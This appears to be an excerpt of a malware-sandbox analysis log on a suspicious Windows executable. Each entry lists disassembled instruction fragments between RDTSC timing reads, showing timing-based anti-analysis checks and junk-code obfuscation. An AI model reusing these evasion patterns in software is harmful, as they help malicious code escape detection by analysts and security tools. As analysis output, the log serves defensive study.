Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DD84D second address: 6DD853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DD853 second address: 6DD859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DF9F4 second address: 6DFA70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FE1C0B69E3Ch 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FE1C0B69E41h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FE1C0B69E38h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c jnc 00007FE1C0B69E3Bh 0x00000032 push 00000000h 0x00000034 jmp 00007FE1C0B69E48h 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c jc 00007FE1C0B69E44h 0x00000042 push eax 0x00000043 push edx 0x00000044 push esi 0x00000045 pop esi 0x00000046 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DFA70 second address: 6DFA74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E105D second address: 6E1067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE1C0B69E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E1CC6 second address: 6E1CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E2772 second address: 6E2817 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE1C0B69E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d jmp 00007FE1C0B69E42h 0x00000012 pop eax 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FE1C0B69E38h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007FE1C0B69E38h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D188Ch], edx 0x00000052 je 00007FE1C0B69E4Fh 0x00000058 jnl 00007FE1C0B69E49h 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 jnp 00007FE1C0B69E36h 0x00000068 jmp 00007FE1C0B69E3Eh 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E2817 second address: 6E2839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jbe 00007FE1C0EF51E6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE1C0EF51EFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E2839 second address: 6E283F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E283F second address: 6E2845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E2845 second address: 6E2849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E30A5 second address: 6E30AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E3BCF second address: 6E3BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E6BFE second address: 6E6C02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E6C02 second address: 6E6C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E6C08 second address: 6E6C40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+1246FD45h], ecx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+122D2D30h], eax 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jp 00007FE1C0EF51E6h 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E5EC7 second address: 6E5ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E6C40 second address: 6E6C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E5ECB second address: 6E5F58 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007FE1C0B69E45h 0x0000000d nop 0x0000000e mov bl, dl 0x00000010 push dword ptr fs:[00000000h] 0x00000017 xor di, EFF2h 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 mov ebx, 5B80AC0Ch 0x00000028 mov edi, 588F96C3h 0x0000002d mov eax, dword ptr [ebp+122D070Dh] 0x00000033 mov edi, dword ptr [ebp+1246F501h] 0x00000039 push FFFFFFFFh 0x0000003b push 00000000h 0x0000003d push ebp 0x0000003e call 00007FE1C0B69E38h 0x00000043 pop ebp 0x00000044 mov dword ptr [esp+04h], ebp 0x00000048 add dword ptr [esp+04h], 00000014h 0x00000050 inc ebp 0x00000051 push ebp 0x00000052 ret 0x00000053 pop ebp 0x00000054 ret 0x00000055 and ebx, dword ptr [ebp+122D2290h] 0x0000005b nop 0x0000005c jnl 00007FE1C0B69E44h 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jno 00007FE1C0B69E38h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E5F58 second address: 6E5F62 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE1C0EF51ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E7B30 second address: 6E7B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE1C0B69E3Fh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007FE1C0B69E45h 0x00000013 push 00000000h 0x00000015 jmp 00007FE1C0B69E44h 0x0000001a push 00000000h 0x0000001c mov edi, ebx 0x0000001e xchg eax, esi 0x0000001f push eax 0x00000020 push edx 0x00000021 jns 00007FE1C0B69E3Ch 0x00000027 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E8D3D second address: 6E8D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE1C0EF51E6h 0x0000000a popad 0x0000000b jl 00007FE1C0EF51ECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6E7D8B second address: 6E7D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jng 00007FE1C0B69E36h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6ECB89 second address: 6ECC14 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE1C0EF51F9h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f jne 00007FE1C0EF51EBh 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov ebx, dword ptr [ebp+122D218Ch] 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007FE1C0EF51E8h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 0000001Ah 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 sub edi, 50236FA7h 0x00000049 mov eax, dword ptr [ebp+122D1721h] 0x0000004f xor dword ptr [ebp+1246F403h], edx 0x00000055 push FFFFFFFFh 0x00000057 push esi 0x00000058 mov di, 8709h 0x0000005c pop ebx 0x0000005d nop 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FE1C0EF51EAh 0x00000065 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6EDB9F second address: 6EDBA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6EDBA5 second address: 6EDBAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6EFA80 second address: 6EFB1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 add di, 2F63h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FE1C0B69E38h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D2D43h], ebx 0x0000002f mov edi, 7CEB519Ch 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007FE1C0B69E38h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 mov bx, cx 0x00000053 jnc 00007FE1C0B69E44h 0x00000059 xchg eax, esi 0x0000005a jns 00007FE1C0B69E44h 0x00000060 push eax 0x00000061 pushad 0x00000062 jmp 00007FE1C0B69E41h 0x00000067 push esi 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6F4B74 second address: 6F4B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6F4B7A second address: 6F4B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0B69E3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6F74D9 second address: 6F74DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6F832B second address: 6F8385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FE1C0B69E36h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FE1C0B69E38h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov dword ptr [ebp+1246FC0Eh], esi 0x00000031 cld 0x00000032 push 00000000h 0x00000034 pushad 0x00000035 sub eax, dword ptr [ebp+122D1B80h] 0x0000003b xor esi, dword ptr [ebp+122D2B13h] 0x00000041 popad 0x00000042 push 00000000h 0x00000044 sub dword ptr [ebp+1246FD45h], eax 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 pop edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6F2DC3 second address: 6F2DC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6F534E second address: 6F540D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jne 00007FE1C0B69E36h 0x0000000d pop edx 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 jmp 00007FE1C0B69E3Fh 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov ebx, esi 0x00000020 mov ebx, dword ptr [ebp+122D25D8h] 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d jmp 00007FE1C0B69E46h 0x00000032 mov eax, dword ptr [ebp+122D01D1h] 0x00000038 push edx 0x00000039 mov bx, di 0x0000003c pop edi 0x0000003d jmp 00007FE1C0B69E42h 0x00000042 push FFFFFFFFh 0x00000044 push 00000000h 0x00000046 push ecx 0x00000047 call 00007FE1C0B69E38h 0x0000004c pop ecx 0x0000004d mov dword ptr [esp+04h], ecx 0x00000051 add dword ptr [esp+04h], 0000001Dh 0x00000059 inc ecx 0x0000005a push ecx 0x0000005b ret 0x0000005c pop ecx 0x0000005d ret 0x0000005e call 00007FE1C0B69E44h 0x00000063 mov dword ptr [ebp+122D3AC2h], ebx 0x00000069 pop ebx 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FE1C0B69E40h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6F943A second address: 6F9489 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007FE1C0EF51E6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f call 00007FE1C0EF51F6h 0x00000014 mov ebx, edx 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 jns 00007FE1C0EF51ECh 0x0000001f push 00000000h 0x00000021 mov edi, dword ptr [ebp+122D1D14h] 0x00000027 mov dword ptr [ebp+122D21FFh], edi 0x0000002d xchg eax, esi 0x0000002e push eax 0x0000002f push edx 0x00000030 jc 00007FE1C0EF51E8h 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6F0D4E second address: 6F0D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6FB559 second address: 6FB55D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6FB55D second address: 6FB56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FE1C0B69E38h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 69C8A0 second address: 69C8C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE1C0EF51F7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FE1C0EF51E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6F95D9 second address: 6F9650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE1C0B69E36h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FE1C0B69E49h 0x00000012 nop 0x00000013 push ebx 0x00000014 adc ebx, 0DBE98C1h 0x0000001a pop ebx 0x0000001b push dword ptr fs:[00000000h] 0x00000022 cld 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push ecx 0x0000002b push edx 0x0000002c jnp 00007FE1C0B69E36h 0x00000032 pop edi 0x00000033 pop edi 0x00000034 mov eax, dword ptr [ebp+122D01E1h] 0x0000003a sub dword ptr [ebp+122D3260h], ebx 0x00000040 mov ebx, dword ptr [ebp+122D2B1Bh] 0x00000046 push FFFFFFFFh 0x00000048 jmp 00007FE1C0B69E45h 0x0000004d push eax 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 705FFA second address: 706034 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FE1C0EF51F7h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 jmp 00007FE1C0EF51EAh 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 708FF8 second address: 708FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 708FFE second address: 709009 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 709009 second address: 70901F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE1C0B69E36h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jnp 00007FE1C0B69E36h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 70901F second address: 709025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 70CCE9 second address: 70CD07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE1C0B69E36h 0x0000000a popad 0x0000000b push edi 0x0000000c jmp 00007FE1C0B69E40h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 70CD07 second address: 70CD29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE1C0EF51F6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 70CD29 second address: 70CD2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 70CD2D second address: 70CD4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FE1C0EF51E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 70CD4C second address: 70CD50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 70CD50 second address: 70CD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 70D861 second address: 70D878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E43h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714E57 second address: 714E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE1C0EF51E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714E61 second address: 714E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714E65 second address: 714E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714E6B second address: 714E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714E71 second address: 714E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714E75 second address: 714E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 713D7F second address: 713D83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 713D83 second address: 713D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DB36B second address: 6DB370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DB482 second address: 6DB486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DB8A6 second address: 6DB8D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FE1C0EF51EBh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007FE1C0EF51E8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DBA2D second address: 6DBA5E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007FE1C0B69E36h 0x0000000d jmp 00007FE1C0B69E48h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 jl 00007FE1C0B69E44h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DBCC6 second address: 6DBCCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC4EC second address: 6DC53C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007FE1C0B69E40h 0x0000000f pushad 0x00000010 jl 00007FE1C0B69E36h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 nop 0x0000001a jnp 00007FE1C0B69E3Ch 0x00000020 mov edi, dword ptr [ebp+122D2322h] 0x00000026 mov dword ptr [ebp+124483DDh], eax 0x0000002c lea eax, dword ptr [ebp+1246FF46h] 0x00000032 jmp 00007FE1C0B69E40h 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FE1C0B69E3Bh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DB878 second address: 6DB8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0EF51EAh 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE1C0EF51F9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 71416E second address: 714172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714172 second address: 714178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 714178 second address: 71417E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 71417E second address: 71418E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FE1C0EF51E6h 0x0000000a jne 00007FE1C0EF51E6h 0x00000010 rdtsc
